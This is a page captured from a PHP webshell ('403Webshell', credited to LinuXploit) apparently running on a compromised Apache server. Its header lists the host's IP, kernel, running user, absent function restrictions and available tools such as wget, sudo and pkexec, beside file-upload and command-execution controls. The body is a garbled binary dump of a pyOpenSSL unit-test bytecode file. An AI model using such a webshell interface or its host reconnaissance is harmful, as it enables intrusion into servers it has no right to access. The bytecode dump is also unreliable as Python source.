403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/OpenSSL/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyc
Ñò
JóIc@sdZddklZddklZddklZddklZlZddk	l
Z
yddklZWn)e
j
oddklZlZnXdd	klZlZlZlZlZlZdd
klZlZlZlZddklZlZlZlZddkl Z dd
k!l"Z"l#Z#l$Z$yddkl%Z%Wne
j
o
dZ%nXyddkl'Z'Wne
j
o
dZ'nXyddkl(Z(Wne
j
o
dZ(nXdee"fd„ƒYZ)defd„ƒYZ*e+djoeƒndS(s 
Unit tests for L{OpenSSL.SSL}.
iÿÿÿÿ(tplatform(tmktemp(tsocket(tmakedirstsymlink(tjoin(tTestCase(Rtmain(tTYPE_RSAtFILETYPE_PEMtPKeytdump_privatekeytload_certificatetload_privatekey(t
WantReadErrortContextt
ConnectiontError(tSSLv2_METHODtSSLv3_METHODt
SSLv23_METHODtTLSv1_METHOD(tVERIFY_PEER(t_Python23TestCaseHelpertcleartextCertificatePEMtcleartextPrivateKeyPEM(tOP_NO_QUERY_MTU(tOP_COOKIE_EXCHANGE(tOP_NO_TICKETtContextTestscBs‹eZdZd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Ze
djo
de_nd
„ZRS(s0
    Unit tests for L{OpenSSL.SSL.Context}.
    cCs
tddƒS(sQ
        Pathetic substitute for twisted.trial.unittest.TestCase.mktemp.
        tdirt.(R(tself((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyR+scCsQx$ttttgD]}t|ƒqW|ittdƒ|ittdƒdS(sŒ
        L{Context} can be instantiated with one of L{SSLv2_METHOD},
        L{SSLv3_METHOD}, L{SSLv23_METHOD}, or L{TLSv1_METHOD}.
        ti
N(RRRRRtassertRaisest	TypeErrort
ValueError(R tmeth((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_method2s
cCsLtƒ}|itdƒttƒ}|i|ƒ|it|idƒdS(sU
        L{Context.use_privatekey} takes an L{OpenSSL.crypto.PKey} instance.
        i€R!N(R
tgenerate_keyRRRtuse_privatekeyR"R#(R tkeytctx((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_use_privatekey=s
	
cstƒ}|itdƒ|iƒ}t|dƒ}d‰|itt|dˆƒƒ|iƒg‰‡‡fd†}t	t
ƒ}|i|ƒ|i|ƒ|i
tˆƒdƒ|i
tˆddtƒƒ|i
tˆddtƒƒ|iˆddd	ƒd	S(
s
        L{Context.set_passwd_cb} accepts a callable which will be invoked when
        a private key is loaded from an encrypted PEM.
        i€twtfoobartblowfishcsˆi|||fƒˆS(N(tappend(tmaxlentverifytextra(t
calledWitht
passphrase(s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pytpassphraseCallbackVsiiiN(R
R'RRtfiletwriteRR	tcloseRRt
set_passwd_cbtuse_privatekey_filet
assertTruetlent
isinstancetinttassertEqualtNone(R R)tpemFiletfObjR5tcontext((R3R4s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_set_passwd_cbHs 	


c
sXtƒ}|idƒ|idƒtƒ}|itƒ|i|iƒƒttt	ƒ|ƒ}|i
ƒg‰‡fd†}tt	ƒ}|i|ƒ|it
ttƒƒ|itttƒƒ|iƒ\}}|itƒt||ƒ}|iƒxGˆp?x8||fD]*}	y|	iƒWqtj
oqXqWqW|iˆƒdS(sž
        L{Context.set_info_callback} accepts a callable which will be invoked
        when certain information about an SSL connection is available.
        R!iicsˆi|||fƒdS(N(R/(tconntwheretret(tcalled(s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pytinfossN(R!i(RtbindtlistentsetblockingtFalset
connect_extgetsocknameRRRtset_connect_statetset_info_callbacktuse_certificateRR	RR(R
Rtaccepttset_accept_statetdo_handshakeRR;(
R tporttclientt	clientSSLRIRCtservertignoredt	serverSSLtssl((RHs9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_set_info_callbackbs:	

	





c
Gs|tƒ}|idƒ|idƒtƒ}|itƒ|i|iƒƒttƒ}|i	|Œ|i
td„ƒt||ƒ}|i
ƒ|iƒ\}}|itƒttƒ}|itttƒƒ|itttƒƒt||ƒ}	|	iƒxOtdƒD]A}
x8||	fD]*}y|iƒWq!tj
oq!Xq!WqW|iƒ}|i|iƒidƒdS(NR!iicSs|S(((REtcertterrnotdepthtpreverify_ok((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyt<lambda>œsisTesting Root CA(R!i(RRJRKRLRMRNRORRtload_verify_locationst
set_verifyRRRPRSRRRR	RR(R
RRTtrangeRURtget_peer_certificateR?tget_subjecttCN(
R targsRVRWt
clientContextRXRYt_t
serverContextR[tiR\R^((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyt_load_verify_locations_tests@	

	








cCsC|iƒ}t|dƒ}|itƒ|iƒ|i|ƒdS(sŠ
        L{Context.load_verify_locations} accepts a file name and uses the
        certificates within for verification purposes.
        R,N(RR6R7RR8Rn(R tcafileRB((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_load_verify_file»s


cCs,ttƒ}|it|i|iƒƒdS(sm
        L{Context.load_verify_locations} raises L{Error} when passed a
        non-existent cafile.
        N(RRR"RRcR(R Rj((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_load_verify_invalid_fileÈscCsu|iƒ}t|ƒt|dƒ}t|dƒ}|itƒ|iƒtdt|dƒƒ|id|ƒdS(s
        L{Context.load_verify_locations} accepts a directory name and uses
        the certificates within for verification purposes.
        scert.pemR,s
c7adac82.0N(
RRRR6R7RR8RRnR@(R tcapathRoRB((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_load_verify_directoryÒs


cCs‰ttƒ}|iƒ|itd„ƒtƒ}|idƒt||ƒ}|iƒ|i	ƒ|i
dƒ|i|idƒƒdS(s™
        L{Context.set_default_verify_paths} causes the platform-specific CA
        certificate locations to be used for verification purposes.
        cSs|S(((RER^R_R`Ra((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyRb÷ssverisign.comi»sGET / HTTP/1.0

iN(sverisign.comi»(
RRtset_default_verify_pathsRdRRtconnectRRPRUtsendR;trecv(R RCRWRX((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_set_default_verify_pathsås

	



tdarwinsdset_default_verify_paths appears not to work on OS X - a problem with the supplied OpenSSL, perhaps?cCsRttƒ}|it|idƒ|it|idƒ|it|idƒdS(sv
        L{Context.set_default_verify_paths} takes no arguments and raises
        L{TypeError} if given any.
        iR!N(RRR"R#RtR@(R RC((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyt'test_set_default_verify_paths_signatures(t__name__t
__module__t__doc__RR&R+RDR]RnRpRqRsRxRttodoRz(((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyR's					+	.	
	
		

tConstantsTestscBs\eZdZedj	o
d„Znedj	o
d„Znedj	o
d„Z	nRS(sð
    Tests for the values of constants exposed in L{OpenSSL.SSL}.

    These are values defined by OpenSSL intended only to be used as flags to
    OpenSSL APIs.  The only assertions it seems can be made about them is
    their values.
    cCs|itdƒdS(s
            The value of L{OpenSSL.SSL.OP_NO_QUERY_MTU} is 0x1000, the value of
            I{SSL_OP_NO_QUERY_MTU} defined by I{openssl/ssl.h}.
            iN(R?R(R ((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_op_no_query_mtuscCs|itdƒdS(s£
            The value of L{OpenSSL.SSL.OP_COOKIE_EXCHANGE} is 0x2000, the value
            of I{SSL_OP_COOKIE_EXCHANGE} defined by I{openssl/ssl.h}.
            i N(R?R(R ((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_op_cookie_exchange'scCs|itdƒdS(s—
            The value of L{OpenSSL.SSL.OP_NO_TICKET} is 0x4000, the value of
            I{SSL_OP_NO_TICKET} defined by I{openssl/ssl.h}.
            i@N(R?R(R ((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyttest_op_no_ticket2sN(
R{R|R}RR@R€RRRR‚(((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyRs





t__main__N(,R}tsysRttempfileRRtosRRtos.pathRttwisted.trial.unittestRtImportErrortunittestRtOpenSSL.cryptoRR	R
RRR
tOpenSSL.SSLRRRRRRRRRtOpenSSL.test.test_cryptoRRRRR@RRRRR{(((s9/usr/lib/python2.6/site-packages/OpenSSL/test/test_ssl.pyt<module>s<.""ë*


Youez - 2016 - github.com/yon3zu
LinuXploit